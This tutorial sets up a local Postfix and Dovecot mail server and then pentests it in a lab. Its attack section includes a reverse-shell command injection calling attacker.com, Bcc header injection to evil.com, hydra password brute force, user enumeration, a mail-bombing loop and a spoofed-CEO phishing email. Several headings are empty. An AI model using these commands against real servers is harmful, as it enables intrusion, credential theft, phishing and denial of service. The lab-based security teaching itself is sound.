Building an SMTP Server from Scratch: From Protocol to Pentesting

What is SMTP at the Protocol Level?

SMTP is just TCP socket communication on port 25 with a specific command structure. When you "build an SMTP server," you're creating a daemon that:

• Listens on a TCP socket (port 25)
• Accepts connections from clients (other mail servers or mail clients)
• Speaks the SMTP protocol (a text-based command/response dialogue)
• Stores the mail data somewhere (filesystem, database, whatever)

The SMTP Conversation

[Client connects to your server:25]

Server: 220 mail.yourserver.com ESMTP Postfix
Client: EHLO client.domain.com
Server: 250-mail.yourserver.com
        250-PIPELINING
        250-SIZE 10240000
        250-AUTH PLAIN LOGIN
        250 STARTTLS
Client: MAIL FROM:<sender@domain.com>
Server: 250 Ok
Client: RCPT TO:<recipient@yourserver.com>
Server: 250 Ok
Client: DATA
Server: 354 End data with <CR><LF>.<CR><LF>
Client: Subject: Test

        This is the email body.
        .
Server: 250 Ok: queued as 3F2A51234
Client: QUIT
Server: 221 Bye

Every line is ASCII text over TCP. That's it. No magic.

The Architecture: What Each Component Actually Does

When people say "SMTP server," they actually mean three separate systems:

1. MTA (Mail Transfer Agent) — Postfix/Sendmail/Exim

The actual flow inside Postfix:

SMTP connection → smtpd process → cleanup process → qmgr (queue manager) → local/smtp delivery agent

Each step is a separate process communicating via Unix sockets in /var/spool/postfix/.

2. MDA (Mail Delivery Agent) — Dovecot LDA/Maildrop

Maildir vs mbox:

• mbox: Single file /var/mail/username with all emails concatenated (one file gets corrupted = all mail lost)
• Maildir: Directory ~/Maildir/ with each email as a separate file (better for concurrent access, safer)

3. IMAP/POP3 Server — Dovecot

IMAP is also a text protocol:

Client: A001 LOGIN username password
Server: A001 OK Logged in
Client: A002 SELECT INBOX
Server: * 3 EXISTS
        * 0 RECENT
        A002 OK [READ-WRITE] Select completed
Client: A003 FETCH 1 BODY[]
Server: * 1 FETCH (BODY[] {342}
        [email headers and body]
        )
        A003 OK Fetch completed

The Data Flow (End-to-End)

Let's trace what happens when alice@localhost sends mail to bob@localhost:

Where the Vulnerabilities Live

Attack Surface 1: SMTP Protocol Itself

• Open relay: If you don't validate RCPT TO, attackers use you to spam
• Header injection: If you don't sanitize headers, inject Bcc: or To: fields
• Command injection: If you pass unsanitized data to shell scripts

Attack Surface 2: Authentication

• Brute force: SMTP AUTH with weak passwords
• Plaintext AUTH over unencrypted connection: AUTH PLAIN sends base64-encoded password (trivial to decode)

Attack Surface 3: Mail Storage

• Directory traversal: If Maildir paths aren't sanitized
• Symlink attacks: User creates ~/Maildir/ as symlink to /etc/
• Quota bypass: Fill disk with spam if no limits

Attack Surface 4: IMAP/POP3

• Authentication bypass: Vulnerabilities in Dovecot auth mechanisms
• Information disclosure: List other users' mailboxes if permissions wrong
• DoS: Request massive FETCH ranges to exhaust memory

Why Postfix is Designed This Way

Postfix uses a multi-process privilege-separated architecture:

Installation & Configuration

Prerequisites

# Fresh Ubuntu/Debian system
sudo apt update
sudo apt install postfix dovecot-core dovecot-imapd mailutils telnet -y

During Postfix install:

• Choose: "Local only"
• System mail name: localhost

Component 1: MTA (Postfix) - The SMTP Engine

File: /etc/postfix/main.cf

Delete everything, replace with this:

myhostname = localhost
mydomain = localdomain
myorigin = $mydomain
inet_interfaces = localhost
inet_protocols = ipv4
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
home_mailbox = Maildir/
mynetworks = 127.0.0.0/8
smtpd_relay_restrictions = permit_mynetworks, reject_unauth_destination
mailbox_command = /usr/lib/dovecot/dovecot-lda -f "$SENDER" -a "$RECIPIENT"

File: /etc/postfix/master.cf

Add SMTP submission port (587) for authenticated sending:

submission inet n       -       y       -       -       smtpd
  -o syslog_name=postfix/submission
  -o smtpd_tls_security_level=may
  -o smtpd_sasl_auth_enable=yes
  -o smtpd_sasl_type=dovecot
  -o smtpd_sasl_path=private/auth
  -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject

Restart Postfix

sudo systemctl restart postfix
sudo systemctl status postfix

Test it

telnet localhost 25

You should see:

220 localhost ESMTP Postfix

Component 2: MDA (Dovecot LDA) - Mail Storage

File: /etc/dovecot/conf.d/10-mail.conf

mail_driver = maildir
mail_home = /home/%{user | username}
mail_path = %{home}/Maildir

File: /etc/dovecot/conf.d/10-auth.conf

auth_allow_cleartext = yes
auth_mechanisms = plain login

File: /etc/dovecot/conf.d/10-master.conf

service auth {
  unix_listener /var/spool/postfix/private/auth {
    mode = 0660
    user = postfix
    group = postfix
  }
}

File: /etc/dovecot/conf.d/10-ssl.conf

ssl = no

Restart Dovecot

sudo systemctl restart dovecot
sudo systemctl status dovecot

Create Test Users

sudo adduser alice
sudo adduser bob
# Set simple passwords (e.g., "password")

Testing the Full Stack

Test 1: Send Mail (Alice → Bob)

su - alice
echo "Test message from Alice" | mail -s "Test Subject" bob@localhost
exit

Test 2: Check Mail Arrived

su - bob
ls ~/Maildir/new/

Test 3: Retrieve via IMAP (Manual Protocol)

telnet localhost 143

Login:

A001 LOGIN bob password

Select inbox:

A002 SELECT INBOX

Fetch the message:

A003 FETCH 1 BODY[]

Pentesting Your SMTP Server

Now that it's working, let's break it.

1. Open Relay Test

telnet localhost 25
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@gmail.com>
DATA
.

Should get: 554 5.7.1 Relay access denied (if properly configured)

mynetworks = 0.0.0.0/0

2. SMTP User Enumeration

telnet localhost 25
VRFY alice
VRFY nonexistentuser
VRFY bob

Expected responses:

• 252 2.0.0 alice = User exists
• 550 5.1.1 nonexistentuser... User unknown = User doesn't exist

Automated enumeration:

smtp-user-enum -M VRFY -U users.txt -t localhost

disable_vrfy_command = yes

3. Header Injection Attack

telnet localhost 25
MAIL FROM:<alice@localhost>
RCPT TO:<bob@localhost>
DATA
Subject: Innocent Subject
Bcc: attacker@evil.com
From: admin@localhost

This email will be sent to bob AND attacker@evil.com
.

4. SMTP Command Injection

MAIL FROM:<$(whoami)@localhost>
RCPT TO:<bob@localhost>
DATA
Test
.

Check the logs:

sudo grep "whoami" /var/log/mail.log

More dangerous tests:

MAIL FROM:<`id`@localhost>
MAIL FROM:<;nc -e /bin/sh attacker.com 4444;@localhost>

5. SMTP AUTH Brute Force

Manual test:

telnet localhost 587
EHLO test
AUTH LOGIN

Automated brute force:

hydra -l bob -P /usr/share/wordlists/rockyou.txt smtp://localhost:587

sudo apt install fail2ban -y
sudo nano /etc/fail2ban/jail.local

[postfix-sasl]
enabled = true
port = smtp,submission
filter = postfix[mode=auth]
logpath = /var/log/mail.log
maxretry = 3
bantime = 3600

6. Mail Bombing / DoS

Send huge email:

# Generate 10MB file
dd if=/dev/urandom bs=1M count=10 | base64 > large.txt

telnet localhost 25
MAIL FROM:<alice@localhost>
RCPT TO:<bob@localhost>
DATA
# Paste contents of large.txt
.

Send thousands of emails:

for i in {1..1000}; do
  echo "Bomb $i" | mail -s "Bomb $i" bob@localhost
done

message_size_limit = 10240000   # 10MB max
mailbox_size_limit = 51200000   # 50MB mailbox max

7. IMAP Authentication Bypass

Capture IMAP traffic:

# Capture traffic
sudo tcpdump -i lo -A port 143 -w imap.pcap &

# Login via IMAP
telnet localhost 143
A001 LOGIN bob password

# Stop capture
sudo pkill tcpdump

# Read the capture
strings imap.pcap | grep -A2 LOGIN

Password appears in plaintext.

8. Directory Traversal in Maildir

# Create malicious user
sudo adduser "../../tmp/pwned"

Send mail to that user:

echo "Exploit" | mail -s "Test" ../../tmp/pwned@localhost

Check if mail was written outside home directory:

ls -la /tmp/pwned

9. Spoofing Sender Address

telnet localhost 25
MAIL FROM:<admin@localhost>
RCPT TO:<bob@localhost>
DATA
From: CEO <ceo@company.com>
To: bob@localhost
Subject: Urgent - Send me your password

Bob, I need your password immediately for an audit.
.

Bob receives mail that looks like it's from the CEO.

10. SMTP Timing Attack

# timing_attack.py
import socket
import time

def check_user(username):
    s = socket.socket()
    s.connect(('localhost', 25))
    s.recv(1024)

    start = time.time()
    s.send(f"VRFY {username}
".encode())
    response = s.recv(1024)
    elapsed = time.time() - start

    s.close()
    return elapsed, response

print("alice:", check_user("alice"))
print("fakeuser:", check_user("fakeuser"))
print("bob:", check_user("bob"))

Valid users might respond slower (database lookup) vs invalid users (immediate reject).

Attack Cheat Sheet

Monitoring Attacks

Watch logs in real-time:

# Terminal 1: Attack
telnet localhost 25

# Terminal 2: Watch Postfix logs
sudo journalctl -u postfix -f

# Terminal 3: Watch Dovecot logs
sudo journalctl -u dovecot -f

Check mail queue:

mailq                # See queued messages
postqueue -p         # Detailed queue
postsuper -d ALL     # Delete all queued mail

Final Architecture Diagram

Key Takeaways

Understanding how mail servers work at the protocol level is essential for both secure configuration and penetration testing. From raw TCP sockets to full exploitation, hands-on experience reveals vulnerabilities that theory alone never will.

The best way to understand security is to build the system, then try to destroy it.